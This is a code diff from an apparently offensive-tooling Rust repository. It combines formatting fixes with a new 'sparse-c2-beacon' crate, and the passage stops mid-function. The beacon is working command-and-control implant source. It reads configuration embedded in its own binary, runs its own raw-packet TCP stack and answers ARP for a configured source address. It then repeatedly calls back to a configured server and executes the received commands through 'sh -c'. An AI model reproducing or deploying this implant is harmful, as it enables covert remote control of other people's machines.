rustfmt.toml
Normal file
1
rustfmt.toml
Normal file
@ -0,0 +1 @@
|
|||||||
|
edition = "2021"
|
||||||
@ -104,8 +104,12 @@ pub fn spawn_connection_handler(
|
|||||||
use packets::*;
|
use packets::*;
|
||||||
let packet = connection_packet.pkt();
|
let packet = connection_packet.pkt();
|
||||||
|
|
||||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?;
|
let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()? else {
|
||||||
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
todo!()
|
||||||
|
};
|
||||||
|
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
|
||||||
|
todo!()
|
||||||
|
};
|
||||||
|
|
||||||
let data = udp_pkt.get_data();
|
let data = udp_pkt.get_data();
|
||||||
|
|
||||||
@ -197,8 +201,12 @@ fn authenticate<F: Fn()>(
|
|||||||
Ok(p) => {
|
Ok(p) => {
|
||||||
use packets::*;
|
use packets::*;
|
||||||
let p = p.pkt();
|
let p = p.pkt();
|
||||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = p.get_layer3_pkt()?;
|
let Layer3Pkt::IPv4Pkt(ip_pkt) = p.get_layer3_pkt()? else {
|
||||||
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
todo!()
|
||||||
|
};
|
||||||
|
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
|
||||||
|
todo!()
|
||||||
|
};
|
||||||
|
|
||||||
let Ok(data) = conninfo.try_decrypt_and_verify(udp_pkt.get_data()) else {
|
let Ok(data) = conninfo.try_decrypt_and_verify(udp_pkt.get_data()) else {
|
||||||
counter += 1;
|
counter += 1;
|
||||||
@ -245,8 +253,12 @@ where
|
|||||||
let msg = packet_handler.recv()?;
|
let msg = packet_handler.recv()?;
|
||||||
let pkt = msg.pkt();
|
let pkt = msg.pkt();
|
||||||
|
|
||||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?;
|
let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()? else {
|
||||||
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
todo!()
|
||||||
|
};
|
||||||
|
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
|
||||||
|
todo!()
|
||||||
|
};
|
||||||
|
|
||||||
if ip_pkt.source_ip() != conninfo.srcip || udp_pkt.srcport() != conninfo.srcport {
|
if ip_pkt.source_ip() != conninfo.srcip || udp_pkt.srcport() != conninfo.srcport {
|
||||||
continue;
|
continue;
|
||||||
|
|||||||
@ -110,8 +110,12 @@ impl InterfaceSender {
|
|||||||
Self::RawUdp(interf) => Ok(interf.sendpacket(packet)?),
|
Self::RawUdp(interf) => Ok(interf.sendpacket(packet)?),
|
||||||
Self::Udp(interf) => {
|
Self::Udp(interf) => {
|
||||||
use packets::*;
|
use packets::*;
|
||||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?;
|
let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()? else {
|
||||||
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
todo!()
|
||||||
|
};
|
||||||
|
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
|
||||||
|
todo!()
|
||||||
|
};
|
||||||
|
|
||||||
let addr = SocketAddrV4::new(ip_pkt.dest_ip(), udp_pkt.dstport());
|
let addr = SocketAddrV4::new(ip_pkt.dest_ip(), udp_pkt.dstport());
|
||||||
|
|
||||||
|
|||||||
@ -49,7 +49,9 @@ fn main() -> anyhow::Result<()> {
|
|||||||
let (kill_connection, kill_connection_recv) = channel::<(Ipv4Addr, u16)>();
|
let (kill_connection, kill_connection_recv) = channel::<(Ipv4Addr, u16)>();
|
||||||
|
|
||||||
thread::spawn(move || loop {
|
thread::spawn(move || loop {
|
||||||
let Ok(packet) = recv_eth_packet.recv() else { continue };
|
let Ok(packet) = recv_eth_packet.recv() else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
if let Err(_) = interface_sender.sendpacket(packet.pkt()) {}
|
if let Err(_) = interface_sender.sendpacket(packet.pkt()) {}
|
||||||
});
|
});
|
||||||
|
|
||||||
@ -57,7 +59,9 @@ fn main() -> anyhow::Result<()> {
|
|||||||
s.spawn({
|
s.spawn({
|
||||||
let connections = &connections;
|
let connections = &connections;
|
||||||
move || loop {
|
move || loop {
|
||||||
let Ok(connection) = kill_connection_recv.recv() else { continue };
|
let Ok(connection) = kill_connection_recv.recv() else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
if let Ok(mut e) = connections.lock() {
|
if let Ok(mut e) = connections.lock() {
|
||||||
e.remove(&connection);
|
e.remove(&connection);
|
||||||
}
|
}
|
||||||
@ -70,8 +74,12 @@ fn main() -> anyhow::Result<()> {
|
|||||||
|
|
||||||
let pkt = pkt.pkt();
|
let pkt = pkt.pkt();
|
||||||
|
|
||||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?;
|
let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()? else {
|
||||||
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
todo!()
|
||||||
|
};
|
||||||
|
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
|
||||||
|
todo!()
|
||||||
|
};
|
||||||
|
|
||||||
let connection_handle = &(ip_pkt.dest_ip(), udp_pkt.srcport());
|
let connection_handle = &(ip_pkt.dest_ip(), udp_pkt.srcport());
|
||||||
|
|
||||||
|
|||||||
24
sparse-c2/sparse-c2-beacon/Cargo.toml
Normal file
24
sparse-c2/sparse-c2-beacon/Cargo.toml
Normal file
@ -0,0 +1,24 @@
|
|||||||
|
[package]
|
||||||
|
name = "sparse-c2-beacon"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
pcap-sys = { path = "../../pcap-sys" }
|
||||||
|
packets = { path = "../../packets" }
|
||||||
|
nl-sys = { path = "../../nl-sys" }
|
||||||
|
sparse-c2-messages = { path = "../sparse-c2-messages" }
|
||||||
|
rand = "0.8.5"
|
||||||
|
tokio = { version = "1.32.0", features = ["full"] }
|
||||||
|
anyhow = "1.0.75"
|
||||||
|
tokio-stream = { version = "0.1.14", features = ["full"] }
|
||||||
|
#smoltcp = { version = "0.10", features = ["socket-tcp", "phy-raw_socket", "std", "async", "medium-ethernet", "proto-ipv4", "reassembly-buffer-size-65536", "fragmentation-buffer-size-65536", "proto-ipv4-fragmentation", "log", "verbose"] }
|
||||||
|
libc = "0.2.148"
|
||||||
|
log = { version = "0.4.20", features = [ "kv_unstable" ] }
|
||||||
|
simple_logger = "4.2.0"
|
||||||
|
ringbuf = "0.3.3"
|
||||||
|
serde = { version = "1.0.193", features = ["derive"] }
|
||||||
|
serde_json = "1.0.108"
|
||||||
|
catconf = "0.1.2"
|
||||||
570
sparse-c2/sparse-c2-beacon/src/main.rs
Normal file
570
sparse-c2/sparse-c2-beacon/src/main.rs
Normal file
@ -0,0 +1,570 @@
|
|||||||
|
use std::{
|
||||||
|
collections::VecDeque,
|
||||||
|
mem::MaybeUninit,
|
||||||
|
net::{Ipv4Addr, SocketAddr},
|
||||||
|
process::Stdio,
|
||||||
|
time::{Duration, Instant},
|
||||||
|
};
|
||||||
|
|
||||||
|
use anyhow::{anyhow, bail, Context};
|
||||||
|
use ringbuf::LocalRb;
|
||||||
|
use tokio::{
|
||||||
|
io::Stdout,
|
||||||
|
process::Command,
|
||||||
|
sync::mpsc,
|
||||||
|
task,
|
||||||
|
time::{sleep, sleep_until},
|
||||||
|
};
|
||||||
|
use tokio_stream::StreamExt;
|
||||||
|
|
||||||
|
use nl_sys::{netlink, route};
|
||||||
|
use packets::{
|
||||||
|
self, ARPMode, ARPPacket, ARPProto, EthernetPacket, IPv4Packet, IPv4Pkt, Layer3Packet,
|
||||||
|
Layer3Pkt, Layer4Packet, Layer4Pkt, TCPPacket, TCPPacketBuilder, TCPPkt,
|
||||||
|
};
|
||||||
|
use pcap_sys;
|
||||||
|
use sparse_c2_messages::{BeaconCommand, BeaconOptions};
|
||||||
|
|
||||||
|
struct PeerInfo {
|
||||||
|
remote_addr: Ipv4Addr,
|
||||||
|
remote_port: u16,
|
||||||
|
local_addr: Ipv4Addr,
|
||||||
|
local_port: u16,
|
||||||
|
}
|
||||||
|
|
||||||
|
enum Timeout {
|
||||||
|
Idle { heartbeat: Option<Instant> },
|
||||||
|
Retransmit {},
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Default)]
|
||||||
|
struct TcpSocket {
|
||||||
|
tx_buffer: LocalRb<u8, [MaybeUninit<u8>; 65536]>,
|
||||||
|
rx_buffer: LocalRb<u8, [MaybeUninit<u8>; 65536]>,
|
||||||
|
first_ack: u32,
|
||||||
|
first_rack: u32,
|
||||||
|
local_seq_no: u32,
|
||||||
|
remote_seq_no: u32,
|
||||||
|
remote_last_ack: Option<u32>,
|
||||||
|
remote_last_win: u16,
|
||||||
|
local_rx_last_seq: Option<u32>,
|
||||||
|
local_rx_last_ack: Option<u32>,
|
||||||
|
state: TcpState,
|
||||||
|
peer_info: Option<PeerInfo>,
|
||||||
|
retransmit_timeout: Option<Duration>,
|
||||||
|
last_packet_received: Option<Instant>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl TcpSocket {}
|
||||||
|
|
||||||
|
#[derive(Default, Debug, Clone, Copy)]
|
||||||
|
enum TcpState {
|
||||||
|
Listen,
|
||||||
|
SynSent,
|
||||||
|
SynReceived,
|
||||||
|
Established,
|
||||||
|
FinWait1,
|
||||||
|
FinWait2,
|
||||||
|
CloseWait,
|
||||||
|
Closing,
|
||||||
|
LastAck,
|
||||||
|
TimeWait,
|
||||||
|
#[default]
|
||||||
|
Closed,
|
||||||
|
}
|
||||||
|
|
||||||
|
enum TcpOptions {
|
||||||
|
EndOfList,
|
||||||
|
NoOp,
|
||||||
|
MaxSegmentSize(u16),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl TcpOptions {
|
||||||
|
fn get_bytes(&self) -> Vec<u8> {
|
||||||
|
match self {
|
||||||
|
Self::EndOfList => vec![0x00],
|
||||||
|
Self::NoOp => vec![0x01],
|
||||||
|
Self::MaxSegmentSize(size) => [&[0x02, 0x04][..], &size.to_be_bytes()].concat(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn socket_accepts_packet(socket: &TcpSocket, ip: &IPv4Pkt<'_>, tcp: &TCPPkt<'_>) -> bool {
|
||||||
|
if let Some(peer) = &socket.peer_info {
|
||||||
|
peer.local_addr == ip.dest_ip()
|
||||||
|
&& peer.remote_addr == ip.source_ip()
|
||||||
|
&& peer.local_port == tcp.dstport()
|
||||||
|
&& peer.remote_port == tcp.srcport()
|
||||||
|
} else {
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn connect(
|
||||||
|
socket: &mut TcpSocket,
|
||||||
|
remote_addr: Ipv4Addr,
|
||||||
|
remote_port: u16,
|
||||||
|
local_addr: Ipv4Addr,
|
||||||
|
send_state_changed: &mpsc::Sender<TcpState>,
|
||||||
|
) -> (u16, TCPPacket) {
|
||||||
|
socket.state = TcpState::SynSent;
|
||||||
|
let local_port: u16 = loop {
|
||||||
|
let port = rand::random();
|
||||||
|
if port > 40000 {
|
||||||
|
break port;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
let _ = send_state_changed.send(TcpState::SynSent).await;
|
||||||
|
socket.peer_info = Some(PeerInfo {
|
||||||
|
remote_addr,
|
||||||
|
remote_port,
|
||||||
|
local_addr,
|
||||||
|
local_port,
|
||||||
|
});
|
||||||
|
|
||||||
|
socket.local_seq_no = rand::random();
|
||||||
|
socket.first_ack = socket.local_seq_no;
|
||||||
|
|
||||||
|
let packet = TCPPacketBuilder::default()
|
||||||
|
.srcport(local_port)
|
||||||
|
.dstport(remote_port)
|
||||||
|
.syn(true)
|
||||||
|
.window(64240)
|
||||||
|
.seqnumber(socket.local_seq_no)
|
||||||
|
//.options([TcpOptions::MaxSegmentSize(64240).get_bytes()].concat())
|
||||||
|
.build(local_addr, remote_addr, vec![], None);
|
||||||
|
|
||||||
|
(local_port, packet)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn process_timeout(socket: &mut TcpSocket) -> anyhow::Result<Option<(TCPPacketBuilder, Vec<u8>)>> {
|
||||||
|
Ok(None)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn process_packet(
|
||||||
|
socket: &mut TcpSocket,
|
||||||
|
packet: TCPPkt<'_>,
|
||||||
|
send_state_changed: &mpsc::Sender<TcpState>,
|
||||||
|
) -> anyhow::Result<(Vec<(TCPPacketBuilder, Vec<u8>)>, Option<Vec<u8>>)> {
|
||||||
|
match (&socket.state, &socket.peer_info) {
|
||||||
|
(TcpState::SynSent, Some(peer)) if packet.ack() && packet.syn() => {
|
||||||
|
log::debug!("established connection with peer");
|
||||||
|
|
||||||
|
socket.remote_last_ack = Some(socket.local_seq_no);
|
||||||
|
socket.remote_seq_no = packet.seqnumber() + 1;
|
||||||
|
socket.remote_last_win = packet.window();
|
||||||
|
socket.first_rack = packet.seqnumber();
|
||||||
|
socket.local_seq_no += 1;
|
||||||
|
|
||||||
|
let tcppacketbuilder = TCPPacketBuilder::default()
|
||||||
|
.srcport(peer.local_port)
|
||||||
|
.dstport(peer.remote_port)
|
||||||
|
.ack(true)
|
||||||
|
.window(512)
|
||||||
|
.acknumber(socket.remote_seq_no)
|
||||||
|
.seqnumber(socket.local_seq_no);
|
||||||
|
|
||||||
|
socket.state = TcpState::Established;
|
||||||
|
let _ = send_state_changed.send(TcpState::Established).await;
|
||||||
|
|
||||||
|
Ok((vec![(tcppacketbuilder, vec![])], None))
|
||||||
|
}
|
||||||
|
(TcpState::Established, Some(peer)) if packet.fin() => {
|
||||||
|
log::debug!("Received fin!");
|
||||||
|
|
||||||
|
socket.remote_last_ack = Some(socket.local_seq_no);
|
||||||
|
socket.remote_last_win = packet.window();
|
||||||
|
socket.remote_seq_no += 1;
|
||||||
|
|
||||||
|
socket.state = TcpState::CloseWait;
|
||||||
|
let _ = send_state_changed.send(TcpState::CloseWait).await;
|
||||||
|
|
||||||
|
let ackbuilder = TCPPacketBuilder::default()
|
||||||
|
.srcport(peer.local_port)
|
||||||
|
.dstport(peer.remote_port)
|
||||||
|
.ack(true)
|
||||||
|
.window(512)
|
||||||
|
.acknumber(socket.remote_seq_no)
|
||||||
|
.seqnumber(socket.local_seq_no);
|
||||||
|
|
||||||
|
socket.local_seq_no += 1;
|
||||||
|
|
||||||
|
let _ = send_state_changed.send(TcpState::Closed).await;
|
||||||
|
|
||||||
|
let finbuilder = TCPPacketBuilder::default()
|
||||||
|
.srcport(peer.local_port)
|
||||||
|
.dstport(peer.remote_port)
|
||||||
|
.ack(true)
|
||||||
|
.window(512)
|
||||||
|
.acknumber(socket.remote_seq_no)
|
||||||
|
.seqnumber(socket.local_seq_no);
|
||||||
|
|
||||||
|
Ok((vec![(ackbuilder, vec![]), (finbuilder, vec![])], None))
|
||||||
|
}
|
||||||
|
(TcpState::Established, Some(peer)) if packet.ack() => {
|
||||||
|
log::debug!("received packet from server",);
|
||||||
|
|
||||||
|
socket.remote_last_ack = Some(socket.local_seq_no);
|
||||||
|
socket.remote_last_win = packet.window();
|
||||||
|
socket.remote_seq_no += (packet.data().len() & 0xFFFFFFFF) as u32;
|
||||||
|
|
||||||
|
let tcppacketbuilder = TCPPacketBuilder::default()
|
||||||
|
.srcport(peer.local_port)
|
||||||
|
.dstport(peer.remote_port)
|
||||||
|
.ack(true)
|
||||||
|
.window(512)
|
||||||
|
.acknumber(socket.remote_seq_no)
|
||||||
|
.seqnumber(socket.local_seq_no);
|
||||||
|
|
||||||
|
if !packet.data().is_empty() {
|
||||||
|
log::debug!("received data: {:?}", packet.data());
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok((
|
||||||
|
vec![(tcppacketbuilder, vec![])],
|
||||||
|
Some(packet.data().to_owned()),
|
||||||
|
))
|
||||||
|
}
|
||||||
|
(TcpState::FinWait1, _) if packet.ack() => {
|
||||||
|
socket.state = TcpState::FinWait2;
|
||||||
|
let _ = send_state_changed.send(TcpState::FinWait2).await;
|
||||||
|
|
||||||
|
Ok((vec![], None))
|
||||||
|
}
|
||||||
|
(TcpState::FinWait2, Some(peer)) if packet.fin() => {
|
||||||
|
socket.state = TcpState::Closed;
|
||||||
|
let _ = send_state_changed.send(TcpState::Closed).await;
|
||||||
|
|
||||||
|
socket.remote_last_ack = Some(socket.local_seq_no);
|
||||||
|
socket.remote_seq_no = packet.seqnumber() + 1;
|
||||||
|
socket.remote_last_win = packet.window();
|
||||||
|
socket.local_seq_no += 1;
|
||||||
|
|
||||||
|
let tcppacketbuilder = TCPPacketBuilder::default()
|
||||||
|
.srcport(peer.local_port)
|
||||||
|
.dstport(peer.remote_port)
|
||||||
|
.ack(true)
|
||||||
|
.window(512)
|
||||||
|
.acknumber(socket.remote_seq_no)
|
||||||
|
.seqnumber(socket.local_seq_no);
|
||||||
|
|
||||||
|
Ok((vec![(tcppacketbuilder, vec![])], None))
|
||||||
|
}
|
||||||
|
_ => Ok((vec![], None)),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn resp_tcp(incoming: &TCPPkt<'_>) -> TCPPacketBuilder {
|
||||||
|
TCPPacketBuilder::default()
|
||||||
|
.srcport(incoming.dstport())
|
||||||
|
.dstport(incoming.srcport())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn seq_tcp(socket: &TcpSocket, mut builder: TCPPacketBuilder) -> TCPPacketBuilder {
|
||||||
|
builder
|
||||||
|
}
|
||||||
|
|
||||||
|
fn recv_data(socket: &mut TcpSocket, data: &mut [u8]) -> anyhow::Result<usize> {
|
||||||
|
let (mut prod, mut cons) = socket.tx_buffer.split_ref();
|
||||||
|
|
||||||
|
let bytes_read = cons.pop_slice(data);
|
||||||
|
socket.remote_seq_no += (bytes_read & 0xFFFFFFFF) as u32;
|
||||||
|
|
||||||
|
Ok(bytes_read)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn send_data(
|
||||||
|
socket: &mut TcpSocket,
|
||||||
|
data: Vec<u8>,
|
||||||
|
) -> anyhow::Result<Vec<(TCPPacketBuilder, Vec<u8>)>> {
|
||||||
|
let (mut prod, cons) = socket.tx_buffer.split_ref();
|
||||||
|
|
||||||
|
if cons.is_empty() {
|
||||||
|
_ = prod.push_iter(&mut data.into_iter());
|
||||||
|
|
||||||
|
Ok(vec![])
|
||||||
|
} else {
|
||||||
|
_ = prod.push_iter(&mut data.into_iter());
|
||||||
|
Ok(vec![])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn close_connection(socket: &mut TcpSocket) -> anyhow::Result<TCPPacket> {
|
||||||
|
socket.state = TcpState::FinWait1;
|
||||||
|
|
||||||
|
let peer = socket
|
||||||
|
.peer_info
|
||||||
|
.as_ref()
|
||||||
|
.context("no connection to close")?;
|
||||||
|
|
||||||
|
Ok(TCPPacketBuilder::default()
|
||||||
|
.srcport(peer.local_port)
|
||||||
|
.dstport(peer.remote_port)
|
||||||
|
.fin(true)
|
||||||
|
.ack(true)
|
||||||
|
.window(512)
|
||||||
|
.acknumber(
|
||||||
|
socket
|
||||||
|
.local_rx_last_ack
|
||||||
|
.context("information from synchronizing missing")?,
|
||||||
|
)
|
||||||
|
.seqnumber(socket.local_seq_no)
|
||||||
|
.build(peer.local_addr, peer.remote_addr, vec![], None))
|
||||||
|
}
|
||||||
|
|
||||||
|
struct TcpSocketHandle {
|
||||||
|
state_changed: mpsc::Receiver<TcpState>,
|
||||||
|
send_channel: mpsc::Sender<Vec<u8>>,
|
||||||
|
close: mpsc::Sender<()>,
|
||||||
|
start_connect: mpsc::Sender<(Ipv4Addr, u16)>,
|
||||||
|
receiver_channel: mpsc::Receiver<Vec<u8>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) {
|
||||||
|
loop {
|
||||||
|
sleep(Duration::from_secs(conf.sleep_secs.into())).await;
|
||||||
|
|
||||||
|
let _ = socket_handle
|
||||||
|
.start_connect
|
||||||
|
.send((conf.target_ip, conf.target_port))
|
||||||
|
.await;
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let state = socket_handle.state_changed.recv().await;
|
||||||
|
match state {
|
||||||
|
Some(TcpState::Established) => break,
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
log::debug!("Connected to server!");
|
||||||
|
|
||||||
|
match socket_handle.receiver_channel.recv().await {
|
||||||
|
Some(bytes) => {
|
||||||
|
log::debug!("received a command!");
|
||||||
|
match serde_json::from_slice::<BeaconCommand>(&bytes) {
|
||||||
|
Ok(BeaconCommand::Command(cmd)) => {
|
||||||
|
log::info!("running command: {}", cmd.command);
|
||||||
|
let _ = Command::new("sh")
|
||||||
|
.arg("-c")
|
||||||
|
.arg(cmd.command)
|
||||||
|
.stdout(Stdio::inherit())
|
||||||
|
.output()
|
||||||
|
.await;
|
||||||
|
}
|
||||||
|
Ok(BeaconCommand::Noop) => {}
|
||||||
|
Err(e) => {
|
||||||
|
log::error!("could not parse command from server {e:?}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
None => {
|
||||||
|
log::error!("could not get packets from server")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
log::debug!("Done getting data");
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let state = socket_handle.state_changed.recv().await;
|
||||||
|
log::debug!("got state: {state:?}");
|
||||||
|
match state {
|
||||||
|
Some(TcpState::Closed) => break,
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
log::debug!("Finished connection!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::main]
|
||||||
|
async fn main() -> anyhow::Result<()> {
|
||||||
|
simple_logger::SimpleLogger::new()
|
||||||
|
.with_level(log::LevelFilter::Info)
|
||||||
|
.with_module_level("sparse_c2_beacon", log::LevelFilter::Info)
|
||||||
|
.init()?;
|
||||||
|
|
||||||
|
let conf_raw = catconf::read_from_exe(sparse_c2_messages::CONF_SEPARATOR, 4096)?;
|
||||||
|
let conf: sparse_c2_messages::BeaconOptions = serde_json::from_slice(&conf_raw)?;
|
||||||
|
|
||||||
|
let ip = conf.target_ip;
|
||||||
|
|
||||||
|
let (ifname, _, srcip, src_mac, dst_mac, _) = {
|
||||||
|
let socket = netlink::Socket::new()?;
|
||||||
|
|
||||||
|
let routes = socket.get_routes()?;
|
||||||
|
let neighs = socket.get_neigh()?;
|
||||||
|
let links = socket.get_links()?;
|
||||||
|
let addrs = socket.get_addrs()?;
|
||||||
|
|
||||||
|
route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, ip)
|
||||||
|
.ok_or(anyhow!("unable to find a route to the IP"))?
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut socket = TcpSocket::default();
|
||||||
|
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&ifname)?;
|
||||||
|
|
||||||
|
let srcip = conf.source_ip;
|
||||||
|
|
||||||
|
// let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93];
|
||||||
|
|
||||||
|
interface.set_buffer_size(8192)?;
|
||||||
|
interface.set_non_blocking(true)?;
|
||||||
|
interface.set_promisc(false)?;
|
||||||
|
interface.set_timeout(10)?;
|
||||||
|
|
||||||
|
let interface = interface.activate()?;
|
||||||
|
|
||||||
|
macro_rules! format_packet {
|
||||||
|
($tcp_packet:expr) => {{
|
||||||
|
let ippkt = IPv4Packet::construct(srcip, ip, &Layer4Packet::TCP($tcp_packet));
|
||||||
|
EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ippkt))
|
||||||
|
}};
|
||||||
|
}
|
||||||
|
|
||||||
|
let (send_state_changed, mut receive_state_changed) = mpsc::channel(64);
|
||||||
|
let (port, packet) = connect(
|
||||||
|
&mut socket,
|
||||||
|
ip,
|
||||||
|
conf.target_port,
|
||||||
|
srcip,
|
||||||
|
&send_state_changed,
|
||||||
|
)
|
||||||
|
.await;
|
||||||
|
_ = receive_state_changed.recv().await;
|
||||||
|
|
||||||
|
interface.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?;
|
||||||
|
|
||||||
|
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
|
||||||
|
bail!("interface does not support ethernet");
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut packets = interface.stream()?;
|
||||||
|
|
||||||
|
packets.sendpacket(format_packet!(packet).pkt())?;
|
||||||
|
|
||||||
|
let (send_channel, mut send_packet) = mpsc::channel(1024);
|
||||||
|
let (receive_packet, receiver_channel) = mpsc::channel(1024);
|
||||||
|
let (send_state_changed, state_changed) = mpsc::channel(1024);
|
||||||
|
let (close, mut recv_close) = mpsc::channel(16);
|
||||||
|
let (start_connect, mut handle_connect) = mpsc::channel(16);
|
||||||
|
|
||||||
|
let socket_handle = TcpSocketHandle {
|
||||||
|
state_changed,
|
||||||
|
receiver_channel,
|
||||||
|
send_channel,
|
||||||
|
close,
|
||||||
|
start_connect,
|
||||||
|
};
|
||||||
|
|
||||||
|
task::spawn(async move {
|
||||||
|
use_socket(conf, socket_handle).await;
|
||||||
|
});
|
||||||
|
|
||||||
|
let mut packet_queue = VecDeque::new();
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let deadline = Instant::now()
|
||||||
|
+ socket
|
||||||
|
.retransmit_timeout
|
||||||
|
.unwrap_or_else(|| Duration::from_millis(10));
|
||||||
|
|
||||||
|
tokio::select! {
|
||||||
|
_ = sleep_until(deadline.into()) => {
|
||||||
|
let Ok(Some((b, d))) = process_timeout(&mut socket) else { continue; };
|
||||||
|
let pkt = format_packet!(b.build(srcip, ip, d, None));
|
||||||
|
packet_queue.push_back(pkt);
|
||||||
|
},
|
||||||
|
Some(Ok(bytes)) = packets.next() => {
|
||||||
|
let pkt = bytes.pkt();
|
||||||
|
|
||||||
|
match pkt.get_layer3_pkt() {
|
||||||
|
Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) => {
|
||||||
|
let Ok(Layer4Pkt::TCP(tcp_pkt)) = ip_pkt.get_layer4_packet() else { continue; };
|
||||||
|
|
||||||
|
if !socket_accepts_packet(&socket, &ip_pkt, &tcp_pkt) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
let Ok((to_send, received)) = process_packet(&mut socket, tcp_pkt, &send_state_changed).await else { continue; };
|
||||||
|
|
||||||
|
if let Some(received) = received {
|
||||||
|
_ = receive_packet.send(received).await;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (b, d) in to_send {
|
||||||
|
log::trace!("adding packet to send: {b:?}");
|
||||||
|
let pkt = format_packet!(b.build(srcip, ip, d, None));
|
||||||
|
packet_queue.push_back(pkt);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
Ok(Layer3Pkt::ARP(arp)) => {
|
||||||
|
if arp.opcode() != 1 || arp.plen() != 4 || arp.hwlen() != 6 {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
let senderip: [u8; 4] = arp.srcprotoaddr().try_into().unwrap();
|
||||||
|
let sendermac: &[u8] = arp.srchwaddr();
|
||||||
|
let queryip: [u8; 4] = arp.targetprotoaddr().try_into().unwrap();
|
||||||
|
let queryip: Ipv4Addr = queryip.into();
|
||||||
|
|
||||||
|
if queryip != srcip {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
let response = ARPPacket::construct(ARPMode::Reply, ARPProto::IPv4, &src_mac, &sendermac, &queryip.octets(), &senderip);
|
||||||
|
let resp2 = EthernetPacket::construct(src_mac, sendermac.try_into().unwrap(), &Layer3Packet::ARP(response));
|
||||||
|
log::trace!("adding packet to send: ARP");
|
||||||
|
packet_queue.push_back(resp2);
|
||||||
|
},
|
||||||
|
_ => continue
|
||||||
|
};
|
||||||
|
},
|
||||||
|
Some((remote_addr, remote_port)) = handle_connect.recv() => {
|
||||||
|
match socket.state {
|
||||||
|
TcpState::Established | TcpState::SynSent => {
|
||||||
|
send_state_changed.send(socket.state).await;
|
||||||
|
}
|
||||||
|
_ => {
|
||||||
|
let (port, packet) = connect(
|
||||||
|
&mut socket,
|
||||||
|
ip,
|
||||||
|
remote_port,
|
||||||
|
srcip,
|
||||||
|
&send_state_changed,
|
||||||
|
)
|
||||||
|
.await;
|
||||||
|
|
||||||
|
packets.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?;
|
||||||
|
|
||||||
|
packets.sendpacket(format_packet!(packet).pkt())?;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
Some(()) = recv_close.recv() => {
|
||||||
|
log::trace!("adding packet to send: TCP/IP close");
|
||||||
|
let Ok(to_send) = close_connection(&mut socket) else { continue; };
|
||||||
|
packet_queue.push_back(format_packet!(to_send));
|
||||||
|
},
|
||||||
|
Some(to_send) = send_packet.recv() => {
|
||||||
|
log::trace!("adding packet to send: TCP/IP message send");
|
||||||
|
match send_data(&mut socket, to_send) {
|
||||||
|
